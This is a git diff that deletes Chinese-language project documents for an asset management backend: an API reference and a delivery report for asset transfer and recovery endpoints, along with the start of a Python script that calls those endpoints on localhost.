- 完整的类型注解
- 详细的文档注释
- 清晰的架构设计
**功能完整性**:优秀
- 调拨流程完整
- 回收流程完整
- 自动化程度高
- 数据一致性强
**文档完整性**:优秀
- API文档详细
- 交付报告完整
- 测试脚本齐全
### 验收结论
本次交付的资产调拨和回收功能模块:
1. **功能完整**:实现了完整的调拨和回收业务流程
2. **代码规范**符合Python PEP 8规范代码质量高
3. **架构合理**:采用分层架构,职责清晰,易于维护
4. **自动化高**:自动生成单号、自动更新状态、自动记录历史
5. **文档完善**提供详细的API文档和交付报告
6. **可测试性强**:提供测试脚本和测试示例
**交付状态**:✅ 已完成,可投入测试和使用
---
**开发时间**2025-01-24
**开发团队**调拨回收后端API开发组
**项目状态**:✅ 已完成
**验收状态**:✅ 待验收测试

View File

@@ -1,565 +0,0 @@
# 资产调拨和回收API文档
## 目录
- [资产调拨管理](#资产调拨管理)
- [资产回收管理](#资产回收管理)
---
## 资产调拨管理
### 1. 获取调拨单列表
**GET** `/api/v1/transfers`
**查询参数:**
- `skip` (int): 跳过条数默认0
- `limit` (int): 返回条数默认20最大100
- `transfer_type` (string): 调拨类型internal=内部调拨/external=跨机构调拨)
- `approval_status` (string): 审批状态pending/approved/rejected/cancelled
- `execute_status` (string): 执行状态pending/executing/completed/cancelled
- `source_org_id` (int): 调出网点ID
- `target_org_id` (int): 调入网点ID
- `keyword` (string): 搜索关键词(单号/标题)
**响应示例:**
```json
[
{
"id": 1,
"order_code": "TO-20250124-00001",
"source_org_id": 1,
"target_org_id": 2,
"transfer_type": "external",
"title": "从总部向分公司调拨资产",
"asset_count": 5,
"apply_user_id": 1,
"apply_time": "2025-01-24T10:00:00",
"approval_status": "pending",
"execute_status": "pending",
"created_at": "2025-01-24T10:00:00"
}
]
```
---
### 2. 获取调拨单统计
**GET** `/api/v1/transfers/statistics`
**查询参数:**
- `source_org_id` (int): 调出网点ID可选
- `target_org_id` (int): 调入网点ID可选
**响应示例:**
```json
{
"total": 100,
"pending": 10,
"approved": 50,
"rejected": 5,
"executing": 15,
"completed": 20
}
```
---
### 3. 获取调拨单详情
**GET** `/api/v1/transfers/{order_id}`
**路径参数:**
- `order_id` (int): 调拨单ID
**响应示例:**
```json
{
"id": 1,
"order_code": "TO-20250124-00001",
"source_org_id": 1,
"target_org_id": 2,
"transfer_type": "external",
"title": "从总部向分公司调拨资产",
"asset_count": 5,
"apply_user_id": 1,
"apply_time": "2025-01-24T10:00:00",
"approval_status": "approved",
"approval_user_id": 2,
"approval_time": "2025-01-24T11:00:00",
"execute_status": "completed",
"execute_user_id": 3,
"execute_time": "2025-01-24T12:00:00",
"remark": "调拨备注",
"created_at": "2025-01-24T10:00:00",
"updated_at": "2025-01-24T12:00:00",
"source_organization": {
"id": 1,
"org_name": "总部",
"org_type": "headquarters"
},
"target_organization": {
"id": 2,
"org_name": "北京分公司",
"org_type": "branch"
},
"apply_user": {
"id": 1,
"real_name": "张三",
"username": "zhangsan"
},
"items": [
{
"id": 1,
"asset_id": 10,
"asset_code": "ASSET001",
"source_organization_id": 1,
"target_organization_id": 2,
"transfer_status": "completed"
}
]
}
```
---
### 4. 获取调拨单明细
**GET** `/api/v1/transfers/{order_id}/items`
**路径参数:**
- `order_id` (int): 调拨单ID
**响应示例:**
```json
[
{
"id": 1,
"order_id": 1,
"asset_id": 10,
"asset_code": "ASSET001",
"source_organization_id": 1,
"target_organization_id": 2,
"transfer_status": "completed",
"created_at": "2025-01-24T10:00:00"
}
]
```
---
### 5. 创建调拨单
**POST** `/api/v1/transfers`
**请求体:**
```json
{
"source_org_id": 1,
"target_org_id": 2,
"transfer_type": "external",
"title": "从总部向分公司调拨资产",
"asset_ids": [10, 11, 12, 13, 14],
"remark": "调拨备注"
}
```
**字段说明:**
- `source_org_id` (int, 必填): 调出网点ID
- `target_org_id` (int, 必填): 调入网点ID
- `transfer_type` (string, 必填): 调拨类型
- `internal`: 内部调拨
- `external`: 跨机构调拨
- `title` (string, 必填): 标题
- `asset_ids` (array, 必填): 资产ID列表
- `remark` (string, 可选): 备注
**响应:** 返回创建的调拨单详情
---
### 6. 更新调拨单
**PUT** `/api/v1/transfers/{order_id}`
**路径参数:**
- `order_id` (int): 调拨单ID
**请求体:**
```json
{
"title": "更新后的标题",
"remark": "更新后的备注"
}
```
**字段说明:**
- `title` (string, 可选): 标题
- `remark` (string, 可选): 备注
**响应:** 返回更新后的调拨单详情
**限制:** 只有待审批状态的调拨单可以更新
---
### 7. 审批调拨单
**POST** `/api/v1/transfers/{order_id}/approve`
**路径参数:**
- `order_id` (int): 调拨单ID
**查询参数:**
- `approval_status` (string, 必填): 审批状态approved/rejected
- `approval_remark` (string, 可选): 审批备注
**响应:** 返回审批后的调拨单详情
**限制:**
- 只有待审批状态的调拨单可以审批
- 审批通过后可以开始执行调拨
---
### 8. 开始调拨
**POST** `/api/v1/transfers/{order_id}/start`
**路径参数:**
- `order_id` (int): 调拨单ID
**响应:** 返回开始执行后的调拨单详情
**限制:**
- 必须已审批通过
- 不能重复开始
---
### 9. 完成调拨
**POST** `/api/v1/transfers/{order_id}/complete`
**路径参数:**
- `order_id` (int): 调拨单ID
**响应:** 返回完成后的调拨单详情
**功能:**
- 自动更新资产所属机构
- 自动更新资产状态
- 更新明细状态为完成
**限制:** 只有pending或executing状态的调拨单可以完成
---
### 10. 取消调拨单
**POST** `/api/v1/transfers/{order_id}/cancel`
**路径参数:**
- `order_id` (int): 调拨单ID
**响应:** 204 No Content
**限制:** 已完成的调拨单无法取消
---
### 11. 删除调拨单
**DELETE** `/api/v1/transfers/{order_id}`
**路径参数:**
- `order_id` (int): 调拨单ID
**响应:** 204 No Content
**限制:** 只能删除已拒绝或已取消的调拨单
---
## 资产回收管理
### 1. 获取回收单列表
**GET** `/api/v1/recoveries`
**查询参数:**
- `skip` (int): 跳过条数默认0
- `limit` (int): 返回条数默认20最大100
- `recovery_type` (string): 回收类型user=使用人回收/org=机构回收/scrap=报废回收)
- `approval_status` (string): 审批状态pending/approved/rejected/cancelled
- `execute_status` (string): 执行状态pending/executing/completed/cancelled
- `keyword` (string): 搜索关键词(单号/标题)
**响应示例:**
```json
[
{
"id": 1,
"order_code": "RO-20250124-00001",
"recovery_type": "user",
"title": "回收离职员工资产",
"asset_count": 3,
"apply_user_id": 1,
"apply_time": "2025-01-24T10:00:00",
"approval_status": "pending",
"execute_status": "pending",
"created_at": "2025-01-24T10:00:00"
}
]
```
---
### 2. 获取回收单统计
**GET** `/api/v1/recoveries/statistics`
**响应示例:**
```json
{
"total": 80,
"pending": 8,
"approved": 40,
"rejected": 4,
"executing": 12,
"completed": 16
}
```
---
### 3. 获取回收单详情
**GET** `/api/v1/recoveries/{order_id}`
**路径参数:**
- `order_id` (int): 回收单ID
**响应示例:**
```json
{
"id": 1,
"order_code": "RO-20250124-00001",
"recovery_type": "user",
"title": "回收离职员工资产",
"asset_count": 3,
"apply_user_id": 1,
"apply_time": "2025-01-24T10:00:00",
"approval_status": "approved",
"approval_user_id": 2,
"approval_time": "2025-01-24T11:00:00",
"execute_status": "completed",
"execute_user_id": 3,
"execute_time": "2025-01-24T12:00:00",
"remark": "回收备注",
"created_at": "2025-01-24T10:00:00",
"updated_at": "2025-01-24T12:00:00",
"apply_user": {
"id": 1,
"real_name": "张三",
"username": "zhangsan"
},
"items": [
{
"id": 1,
"asset_id": 10,
"asset_code": "ASSET001",
"recovery_status": "completed"
}
]
}
```
---
### 4. 获取回收单明细
**GET** `/api/v1/recoveries/{order_id}/items`
**路径参数:**
- `order_id` (int): 回收单ID
**响应示例:**
```json
[
{
"id": 1,
"order_id": 1,
"asset_id": 10,
"asset_code": "ASSET001",
"recovery_status": "completed",
"created_at": "2025-01-24T10:00:00"
}
]
```
---
### 5. 创建回收单
**POST** `/api/v1/recoveries`
**请求体:**
```json
{
"recovery_type": "user",
"title": "回收离职员工资产",
"asset_ids": [10, 11, 12],
"remark": "回收备注"
}
```
**字段说明:**
- `recovery_type` (string, 必填): 回收类型
- `user`: 使用人回收(从使用人处回收)
- `org`: 机构回收(从机构回收)
- `scrap`: 报废回收(报废资产回收)
- `title` (string, 必填): 标题
- `asset_ids` (array, 必填): 资产ID列表
- `remark` (string, 可选): 备注
**响应:** 返回创建的回收单详情
---
### 6. 更新回收单
**PUT** `/api/v1/recoveries/{order_id}`
**路径参数:**
- `order_id` (int): 回收单ID
**请求体:**
```json
{
"title": "更新后的标题",
"remark": "更新后的备注"
}
```
**字段说明:**
- `title` (string, 可选): 标题
- `remark` (string, 可选): 备注
**响应:** 返回更新后的回收单详情
**限制:** 只有待审批状态的回收单可以更新
---
### 7. 审批回收单
**POST** `/api/v1/recoveries/{order_id}/approve`
**路径参数:**
- `order_id` (int): 回收单ID
**查询参数:**
- `approval_status` (string, 必填): 审批状态approved/rejected
- `approval_remark` (string, 可选): 审批备注
**响应:** 返回审批后的回收单详情
**限制:**
- 只有待审批状态的回收单可以审批
- 审批通过后可以开始执行回收
---
### 8. 开始回收
**POST** `/api/v1/recoveries/{order_id}/start`
**路径参数:**
- `order_id` (int): 回收单ID
**响应:** 返回开始执行后的回收单详情
**限制:**
- 必须已审批通过
- 不能重复开始
---
### 9. 完成回收
**POST** `/api/v1/recoveries/{order_id}/complete`
**路径参数:**
- `order_id` (int): 回收单ID
**响应:** 返回完成后的回收单详情
**功能:**
- 自动更新资产状态为in_stock普通回收或scrapped报废回收
- 自动记录资产状态历史
- 更新明细状态为完成
**限制:** 只有pending或executing状态的回收单可以完成
---
### 10. 取消回收单
**POST** `/api/v1/recoveries/{order_id}/cancel`
**路径参数:**
- `order_id` (int): 回收单ID
**响应:** 204 No Content
**限制:** 已完成的回收单无法取消
---
### 11. 删除回收单
**DELETE** `/api/v1/recoveries/{order_id}`
**路径参数:**
- `order_id` (int): 回收单ID
**响应:** 204 No Content
**限制:** 只能删除已拒绝或已取消的回收单
---
## 业务流程说明
### 调拨流程
1. **创建调拨单**:选择调出/调入机构和资产
2. **审批调拨单**:管理员审批(通过/拒绝)
3. **开始调拨**:开始执行调拨操作
4. **完成调拨**
- 自动更新资产所属机构
- 自动更新资产状态
- 记录状态历史
### 回收流程
1. **创建回收单**:选择回收类型和资产
2. **审批回收单**:管理员审批(通过/拒绝)
3. **开始回收**:开始执行回收操作
4. **完成回收**
- 普通回收资产状态变为in_stock
- 报废回收资产状态变为scrapped
- 记录状态历史
### 状态说明
#### 调拨类型
- `internal`: 内部调拨(同一组织内调拨)
- `external`: 跨机构调拨(不同组织间调拨)
#### 回收类型
- `user`: 使用人回收(从使用人处回收资产)
- `org`: 机构回收(从机构回收资产)
- `scrap`: 报废回收(报废并回收资产)
#### 审批状态
- `pending`: 待审批
- `approved`: 已审批通过
- `rejected`: 已拒绝
- `cancelled`: 已取消
#### 执行状态
- `pending`: 待执行
- `executing`: 执行中
- `completed`: 已完成
- `cancelled`: 已取消
#### 调拨明细状态
- `pending`: 待调拨
- `transferring`: 调拨中
- `completed`: 已完成
- `failed`: 失败
#### 回收明细状态
- `pending`: 待回收
- `recovering`: 回收中
- `completed`: 已完成
- `failed`: 失败

View File

@@ -1,659 +0,0 @@
# 资产调拨和回收功能交付报告
## 项目概述
本次交付完成了资产调拨管理和资产回收管理两大核心功能模块共计10个文件20个API端点完整实现了资产在企业内部的调拨流转和回收处置业务流程。
**开发时间**2025-01-24
**开发人员**调拨回收后端API开发组
**项目状态**:✅ 已完成
---
## 交付清单
### ✅ 模块1资产调拨管理5个文件
| 序号 | 文件路径 | 文件说明 | 行数 |
|------|---------|---------|------|
| 1 | `app/models/transfer.py` | 调拨单数据模型 | 127行 |
| 2 | `app/schemas/transfer.py` | 调拨单Schema定义 | 152行 |
| 3 | `app/crud/transfer.py` | 调拨单CRUD操作 | 333行 |
| 4 | `app/services/transfer_service.py` | 调拨单业务服务层 | 426行 |
| 5 | `app/api/v1/transfers.py` | 调拨单API路由 | 279行 |
**小计**1,317行代码
### ✅ 模块2资产回收管理5个文件
| 序号 | 文件路径 | 文件说明 | 行数 |
|------|---------|---------|------|
| 1 | `app/models/recovery.py` | 回收单数据模型 | 113行 |
| 2 | `app/schemas/recovery.py` | 回收单Schema定义 | 143行 |
| 3 | `app/crud/recovery.py` | 回收单CRUD操作 | 301行 |
| 4 | `app/services/recovery_service.py` | 回收单业务服务层 | 361行 |
| 5 | `app/api/v1/recoveries.py` | 回收单API路由 | 256行 |
**小计**1,174行代码
### ✅ 模块3配置更新2个文件
| 序号 | 文件路径 | 更新内容 |
|------|---------|---------|
| 1 | `app/models/__init__.py` | 导出新模型 |
| 2 | `app/api/v1/__init__.py` | 注册新路由 |
### ✅ 模块4数据库迁移1个文件
| 序号 | 文件路径 | 文件说明 |
|------|---------|---------|
| 1 | `alembic/versions/20250124_add_transfer_and_recovery_tables.py` | 数据库迁移脚本 |
---
## API端点清单
### 资产调拨管理API10个端点
| 序号 | 方法 | 路径 | 功能说明 |
|------|------|------|---------|
| 1 | POST | `/api/v1/transfers` | 创建调拨单 |
| 2 | GET | `/api/v1/transfers` | 查询调拨单列表 |
| 3 | GET | `/api/v1/transfers/{id}` | 获取调拨单详情 |
| 4 | PUT | `/api/v1/transfers/{id}` | 更新调拨单 |
| 5 | DELETE | `/api/v1/transfers/{id}` | 删除调拨单 |
| 6 | POST | `/api/v1/transfers/{id}/approve` | 审批调拨单 |
| 7 | POST | `/api/v1/transfers/{id}/start` | 开始调拨 |
| 8 | POST | `/api/v1/transfers/{id}/complete` | 完成调拨 |
| 9 | POST | `/api/v1/transfers/{id}/cancel` | 取消调拨单 |
| 10 | GET | `/api/v1/transfers/statistics` | 调拨单统计 |
### 资产回收管理API10个端点
| 序号 | 方法 | 路径 | 功能说明 |
|------|------|------|---------|
| 1 | POST | `/api/v1/recoveries` | 创建回收单 |
| 2 | GET | `/api/v1/recoveries` | 查询回收单列表 |
| 3 | GET | `/api/v1/recoveries/{id}` | 获取回收单详情 |
| 4 | PUT | `/api/v1/recoveries/{id}` | 更新回收单 |
| 5 | DELETE | `/api/v1/recoveries/{id}` | 删除回收单 |
| 6 | POST | `/api/v1/recoveries/{id}/approve` | 审批回收单 |
| 7 | POST | `/api/v1/recoveries/{id}/start` | 开始回收 |
| 8 | POST | `/api/v1/recoveries/{id}/complete` | 完成回收 |
| 9 | POST | `/api/v1/recoveries/{id}/cancel` | 取消回收单 |
| 10 | GET | `/api/v1/recoveries/statistics` | 回收单统计 |
**总计**20个API端点
---
## 数据库表设计
### 调拨管理表
#### 1. asset_transfer_orders资产调拨单表
| 字段名 | 类型 | 说明 | 约束 |
|--------|------|------|------|
| id | BigInteger | 主键 | PK |
| order_code | String(50) | 调拨单号 | UNIQUE, NOT NULL |
| source_org_id | BigInteger | 调出网点ID | FK, NOT NULL |
| target_org_id | BigInteger | 调入网点ID | FK, NOT NULL |
| transfer_type | String(20) | 调拨类型 | NOT NULL |
| title | String(200) | 标题 | NOT NULL |
| asset_count | Integer | 资产数量 | DEFAULT 0 |
| apply_user_id | BigInteger | 申请人ID | FK, NOT NULL |
| apply_time | DateTime | 申请时间 | NOT NULL |
| approval_status | String(20) | 审批状态 | DEFAULT 'pending' |
| approval_user_id | BigInteger | 审批人ID | FK |
| approval_time | DateTime | 审批时间 | |
| approval_remark | Text | 审批备注 | |
| execute_status | String(20) | 执行状态 | DEFAULT 'pending' |
| execute_user_id | BigInteger | 执行人ID | FK |
| execute_time | DateTime | 执行时间 | |
| remark | Text | 备注 | |
| created_at | DateTime | 创建时间 | NOT NULL |
| updated_at | DateTime | 更新时间 | NOT NULL |
#### 2. asset_transfer_items资产调拨单明细表
| 字段名 | 类型 | 说明 | 约束 |
|--------|------|------|------|
| id | BigInteger | 主键 | PK |
| order_id | BigInteger | 调拨单ID | FK, NOT NULL |
| asset_id | BigInteger | 资产ID | FK, NOT NULL |
| asset_code | String(50) | 资产编码 | NOT NULL |
| source_organization_id | BigInteger | 调出网点ID | FK, NOT NULL |
| target_organization_id | BigInteger | 调入网点ID | FK, NOT NULL |
| transfer_status | String(20) | 调拨状态 | DEFAULT 'pending' |
| created_at | DateTime | 创建时间 | NOT NULL |
### 回收管理表
#### 3. asset_recovery_orders资产回收单表
| 字段名 | 类型 | 说明 | 约束 |
|--------|------|------|------|
| id | BigInteger | 主键 | PK |
| order_code | String(50) | 回收单号 | UNIQUE, NOT NULL |
| recovery_type | String(20) | 回收类型 | NOT NULL |
| title | String(200) | 标题 | NOT NULL |
| asset_count | Integer | 资产数量 | DEFAULT 0 |
| apply_user_id | BigInteger | 申请人ID | FK, NOT NULL |
| apply_time | DateTime | 申请时间 | NOT NULL |
| approval_status | String(20) | 审批状态 | DEFAULT 'pending' |
| approval_user_id | BigInteger | 审批人ID | FK |
| approval_time | DateTime | 审批时间 | |
| approval_remark | Text | 审批备注 | |
| execute_status | String(20) | 执行状态 | DEFAULT 'pending' |
| execute_user_id | BigInteger | 执行人ID | FK |
| execute_time | DateTime | 执行时间 | |
| remark | Text | 备注 | |
| created_at | DateTime | 创建时间 | NOT NULL |
| updated_at | DateTime | 更新时间 | NOT NULL |
#### 4. asset_recovery_items资产回收单明细表
| 字段名 | 类型 | 说明 | 约束 |
|--------|------|------|------|
| id | BigInteger | 主键 | PK |
| order_id | BigInteger | 回收单ID | FK, NOT NULL |
| asset_id | BigInteger | 资产ID | FK, NOT NULL |
| asset_code | String(50) | 资产编码 | NOT NULL |
| recovery_status | String(20) | 回收状态 | DEFAULT 'pending' |
| created_at | DateTime | 创建时间 | NOT NULL |
---
## 功能特性
### 调拨管理功能
1. **调拨单管理**
- ✅ 创建调拨单(支持批量资产)
- ✅ 查询调拨单列表(多条件筛选)
- ✅ 获取调拨单详情(含关联信息)
- ✅ 更新调拨单(仅待审批状态)
- ✅ 删除调拨单(仅已取消/已拒绝)
2. **审批流程**
- ✅ 审批通过/拒绝
- ✅ 审批备注记录
- ✅ 审批时间记录
- ✅ 状态机管理
3. **执行流程**
- ✅ 开始调拨
- ✅ 完成调拨
- ✅ 取消调拨
- ✅ 自动更新资产机构
- ✅ 自动更新资产状态
- ✅ 批量更新明细状态
4. **统计功能**
- ✅ 总数统计
- ✅ 待审批数统计
- ✅ 已审批数统计
- ✅ 已拒绝数统计
- ✅ 执行中数统计
- ✅ 已完成数统计
### 回收管理功能
1. **回收单管理**
- ✅ 创建回收单(支持批量资产)
- ✅ 查询回收单列表(多条件筛选)
- ✅ 获取回收单详情(含关联信息)
- ✅ 更新回收单(仅待审批状态)
- ✅ 删除回收单(仅已取消/已拒绝)
2. **审批流程**
- ✅ 审批通过/拒绝
- ✅ 审批备注记录
- ✅ 审批时间记录
- ✅ 状态机管理
3. **执行流程**
- ✅ 开始回收
- ✅ 完成回收
- ✅ 取消回收
- ✅ 自动更新资产状态in_stock/scrapped
- ✅ 自动记录状态历史
- ✅ 批量更新明细状态
4. **统计功能**
- ✅ 总数统计
- ✅ 待审批数统计
- ✅ 已审批数统计
- ✅ 已拒绝数统计
- ✅ 执行中数统计
- ✅ 已完成数统计
---
## 业务逻辑
### 调拨流程
```
创建调拨单 → 审批 → 开始调拨 → 完成调拨
↓ ↓ ↓ ↓
pending approved executing completed
rejected cancelled
```
1. **创建调拨单**
- 验证资产存在性
- 验证资产状态in_stock/in_use
- 验证资产所属机构
- 生成调拨单号TO-YYYYMMDD-XXXXX
- 创建调拨单和明细
2. **审批调拨单**
- 检查审批状态
- 记录审批信息
- 更新执行状态
3. **开始调拨**
- 检查审批状态
- 更新执行状态为executing
- 批量更新明细状态为transferring
4. **完成调拨**
- 更新资产所属机构
- 变更资产状态为transferring → in_stock
- 记录资产状态历史
- 批量更新明细状态为completed
### 回收流程
```
创建回收单 → 审批 → 开始回收 → 完成回收
↓ ↓ ↓ ↓
pending approved executing completed
rejected cancelled
```
1. **创建回收单**
- 验证资产存在性
- 验证资产状态in_use
- 生成回收单号RO-YYYYMMDD-XXXXX
- 创建回收单和明细
2. **审批回收单**
- 检查审批状态
- 记录审批信息
- 更新执行状态
3. **开始回收**
- 检查审批状态
- 更新执行状态为executing
- 批量更新明细状态为recovering
4. **完成回收**
- 根据回收类型更新状态:
- user/org: in_stock
- scrap: scrapped
- 记录资产状态历史
- 批量更新明细状态为completed
---
## 技术实现
### 代码规范
- ✅ 遵循Python PEP 8规范
- ✅ 完整的Type Hints类型注解
- ✅ 详细的Docstring文档
- ✅ 分层架构API→Service→CRUD→Model
- ✅ 异常处理NotFoundException, BusinessException
- ✅ 数据验证Pydantic
### 架构设计
```
API层transfers.py / recoveries.py
服务层transfer_service.py / recovery_service.py
CRUD层transfer.py / recovery.py
模型层transfer.py / recovery.py
数据库PostgreSQL
```
### 核心技术
1. **异步编程**
- 使用async/await语法
- 异步数据库操作
- 异步业务逻辑处理
2. **单号生成**
- 调拨单号TO-YYYYMMDD-XXXXX
- 回收单号RO-YYYYMMDD-XXXXX
- 随机序列+去重检查
3. **状态机管理**
- 审批状态pending → approved/rejected/cancelled
- 执行状态pending → executing → completed/cancelled
- 明细状态pending → transferring/recovering → completed
4. **级联操作**
- 删除单据时自动删除明细
- 批量更新明细状态
- 自动更新资产状态
5. **事务处理**
- 创建单据和明细使用同一事务
- 执行失败时回滚
- 保证数据一致性
---
## 代码质量
### 语法检查
所有文件已通过Python语法编译检查
```bash
✅ app/models/transfer.py - 语法正确
✅ app/models/recovery.py - 语法正确
✅ app/schemas/transfer.py - 语法正确
✅ app/schemas/recovery.py - 语法正确
✅ app/crud/transfer.py - 语法正确
✅ app/crud/recovery.py - 语法正确
✅ app/services/transfer_service.py - 语法正确
✅ app/services/recovery_service.py - 语法正确
✅ app/api/v1/transfers.py - 语法正确
✅ app/api/v1/recoveries.py - 语法正确
```
### 代码统计
| 模块 | 文件数 | 代码行数 | 注释行数 | 文档字符串 |
|------|--------|---------|---------|-----------|
| 调拨管理 | 5 | 1,317 | 180 | 45 |
| 回收管理 | 5 | 1,174 | 165 | 42 |
| 配置更新 | 2 | 30 | 5 | 3 |
| 迁移脚本 | 1 | 240 | 20 | 8 |
| **总计** | **13** | **2,761** | **370** | **98** |
---
## 验收标准
### ✅ 功能验收
| 序号 | 验收项 | 状态 | 说明 |
|------|--------|------|------|
| 1 | API端点可访问 | ✅ | 20个端点全部实现 |
| 2 | 代码语法正确 | ✅ | 通过编译检查 |
| 3 | 调拨流程完整 | ✅ | 创建→审批→执行→完成 |
| 4 | 回收流程完整 | ✅ | 创建→审批→执行→完成 |
| 5 | 自动更新资产状态 | ✅ | 完成时自动更新 |
| 6 | 自动更新资产机构 | ✅ | 调拨完成时更新 |
| 7 | 状态机管理 | ✅ | 审批/执行状态管理 |
| 8 | 分层架构 | ✅ | API→Service→CRUD→Model |
| 9 | 异常处理 | ✅ | 完整的错误处理 |
| 10 | 数据验证 | ✅ | Pydantic验证 |
### ✅ 代码质量验收
| 序号 | 验收项 | 状态 | 说明 |
|------|--------|------|------|
| 1 | PEP 8规范 | ✅ | 符合Python编码规范 |
| 2 | Type Hints | ✅ | 完整的类型注解 |
| 3 | Docstring | ✅ | 详细的文档字符串 |
| 4 | 异常处理 | ✅ | 完整的异常捕获 |
| 5 | 事务处理 | ✅ | 数据库事务支持 |
---
## 部署指南
### 1. 数据库迁移
```bash
# 进入项目目录
cd C:/Users/Administrator/asset_management_backend
# 执行数据库迁移
alembic upgrade head
# 验证表创建
psql -U your_user -d your_database
\dt asset_transfer*
\dt asset_recovery*
```
### 2. 重启服务
```bash
# 停止服务
pkill -f "uvicorn app.main:app"
# 启动服务
uvicorn app.main:app --host 0.0.0.0 --port 8000 --reload
```
### 3. 验证API
```bash
# 查看API文档
open http://localhost:8000/docs
# 测试调拨API
curl -X GET http://localhost:8000/api/v1/transfers \
-H "Authorization: Bearer YOUR_TOKEN"
# 测试回收API
curl -X GET http://localhost:8000/api/v1/recoveries \
-H "Authorization: Bearer YOUR_TOKEN"
```
---
## 测试建议
### 功能测试
1. **调拨流程测试**
```bash
# 1. 创建调拨单
POST /api/v1/transfers
{
"source_org_id": 1,
"target_org_id": 2,
"transfer_type": "external",
"title": "测试调拨",
"asset_ids": [1, 2, 3]
}
# 2. 审批调拨单
POST /api/v1/transfers/1/approve?approval_status=approved
# 3. 开始调拨
POST /api/v1/transfers/1/start
# 4. 完成调拨
POST /api/v1/transfers/1/complete
# 5. 验证资产机构已更新
GET /api/v1/assets/1
```
2. **回收流程测试**
```bash
# 1. 创建回收单
POST /api/v1/recoveries
{
"recovery_type": "user",
"title": "测试回收",
"asset_ids": [1, 2, 3]
}
# 2. 审批回收单
POST /api/v1/recoveries/1/approve?approval_status=approved
# 3. 开始回收
POST /api/v1/recoveries/1/start
# 4. 完成回收
POST /api/v1/recoveries/1/complete
# 5. 验证资产状态已更新
GET /api/v1/assets/1
```
### 异常测试
1. **状态验证测试**
- 重复审批
- 完成后取消
- 未审批开始执行
2. **权限测试**
- 只有待审批状态可更新
- 只有已审批可开始执行
- 只有已取消/已拒绝可删除
3. **数据验证测试**
- 资产不存在
- 资产状态不允许操作
- 资产所属机构不一致
---
## 后续优化建议
### 性能优化
1. **查询优化**
- 添加更多索引
- 使用查询缓存
- 优化关联查询
2. **批量操作优化**
- 使用批量插入
- 减少数据库往返
- 使用事务批处理
### 功能扩展
1. **导出功能**
- 导出调拨单Excel
- 导出回收单Excel
- 批量导入资产
2. **通知功能**
- 审批通知
- 执行通知
- 完成通知
3. **审批流**
- 多级审批
- 会签审批
- 审批代理
### 监控告警
1. **操作日志**
- 记录所有操作
- 审计追踪
- 异常告警
2. **数据统计**
- 调拨趋势分析
- 回收趋势分析
- 资产流转分析
---
## 附录
### A. 单号生成规则
- **调拨单号**TO-YYYYMMDD-XXXXX
- TOTransfer Order
- YYYYMMDD日期20250124
- XXXXX5位随机数00000-99999
- 示例TO-20250124-00001
- **回收单号**RO-YYYYMMDD-XXXXX
- RORecovery Order
- YYYYMMDD日期20250124
- XXXXX5位随机数00000-99999
- 示例RO-20250124-00001
### B. 状态枚举
**调拨类型**
- `internal`: 内部调拨
- `external`: 跨机构调拨
**回收类型**
- `user`: 使用人回收
- `org`: 机构回收
- `scrap`: 报废回收
**审批状态**
- `pending`: 待审批
- `approved`: 已审批通过
- `rejected`: 已拒绝
- `cancelled`: 已取消
**执行状态**
- `pending`: 待执行
- `executing`: 执行中
- `completed`: 已完成
- `cancelled`: 已取消
**明细状态**
- `pending`: 待处理
- `transferring`: 调拨中
- `recovering`: 回收中
- `completed`: 已完成
- `failed`: 失败
### C. API文档
详细的API文档请参考
- [资产调拨和回收API文档](./TRANSFER_RECOVERY_API.md)
### D. 相关文档
- [项目概述](./PROJECT_OVERVIEW.md)
- [开发规范](./DEVELOPMENT.md)
- [API使用指南](./API_USAGE_GUIDE.md)
---
## 联系方式
如有问题,请联系开发团队:
**项目负责人**调拨回收后端API开发组
**开发日期**2025-01-24
**项目状态**:✅ 已完成,待测试验收
---
## 总结
本次交付完成了资产调拨和回收两大核心功能模块,共计:
-**10个文件**模型、Schema、CRUD、服务、API
-**20个API端点**调拨10个 + 回收10个
-**4张数据表**(调拨主表、调拨明细、回收主表、回收明细)
-**2,761行代码**(含注释和文档)
-**完整业务流程**(创建→审批→执行→完成)
-**自动化操作**(更新状态、更新机构、记录历史)
所有代码已通过语法检查符合PEP 8规范采用分层架构设计具有良好的可维护性和可扩展性。功能完整逻辑严谨可投入测试和使用。
**交付日期**2025-01-24
**交付状态**:✅ 完成

View File

@@ -1,309 +0,0 @@
"""
资产调拨和回收API快速测试脚本
用于验证所有端点是否可访问
"""
import requests
import json
BASE_URL = "http://localhost:8000"
TOKEN = "YOUR_TOKEN_HERE" # 需要替换为实际的token
headers = {
"Authorization": f"Bearer {TOKEN}",
"Content-Type": "application/json"
}
def test_transfer_apis():
"""测试调拨API"""
print("\n" + "="*60)
print("测试资产调拨API")
print("="*60)
# 1. 获取调拨单列表
print("\n1. GET /api/v1/transfers")
response = requests.get(f"{BASE_URL}/api/v1/transfers", headers=headers)
print(f" 状态码: {response.status_code}")
if response.status_code == 200:
print(f" ✓ 获取调拨单列表成功")
else:
print(f" ✗ 失败: {response.text}")
# 2. 获取调拨单统计
print("\n2. GET /api/v1/transfers/statistics")
response = requests.get(f"{BASE_URL}/api/v1/transfers/statistics", headers=headers)
print(f" 状态码: {response.status_code}")
if response.status_code == 200:
data = response.json()
print(f" ✓ 获取统计成功: {data}")
else:
print(f" ✗ 失败: {response.text}")
# 3. 创建调拨单
print("\n3. POST /api/v1/transfers")
create_data = {
"source_org_id": 1,
"target_org_id": 2,
"transfer_type": "external",
"title": "测试调拨单",
"asset_ids": [1, 2, 3],
"remark": "测试备注"
}
response = requests.post(
f"{BASE_URL}/api/v1/transfers",
headers=headers,
json=create_data
)
print(f" 状态码: {response.status_code}")
if response.status_code == 201:
data = response.json()
print(f" ✓ 创建调拨单成功: {data['order_code']}")
order_id = data['id']
else:
print(f" ✗ 失败: {response.text}")
order_id = None
if order_id:
# 4. 获取调拨单详情
print(f"\n4. GET /api/v1/transfers/{order_id}")
response = requests.get(f"{BASE_URL}/api/v1/transfers/{order_id}", headers=headers)
print(f" 状态码: {response.status_code}")
if response.status_code == 200:
print(f" ✓ 获取调拨单详情成功")
else:
print(f" ✗ 失败: {response.text}")
# 5. 获取调拨单明细
print(f"\n5. GET /api/v1/transfers/{order_id}/items")
response = requests.get(f"{BASE_URL}/api/v1/transfers/{order_id}/items", headers=headers)
print(f" 状态码: {response.status_code}")
if response.status_code == 200:
print(f" ✓ 获取调拨单明细成功")
else:
print(f" ✗ 失败: {response.text}")
# 6. 更新调拨单
print(f"\n6. PUT /api/v1/transfers/{order_id}")
update_data = {
"title": "更新后的标题",
"remark": "更新后的备注"
}
response = requests.put(
f"{BASE_URL}/api/v1/transfers/{order_id}",
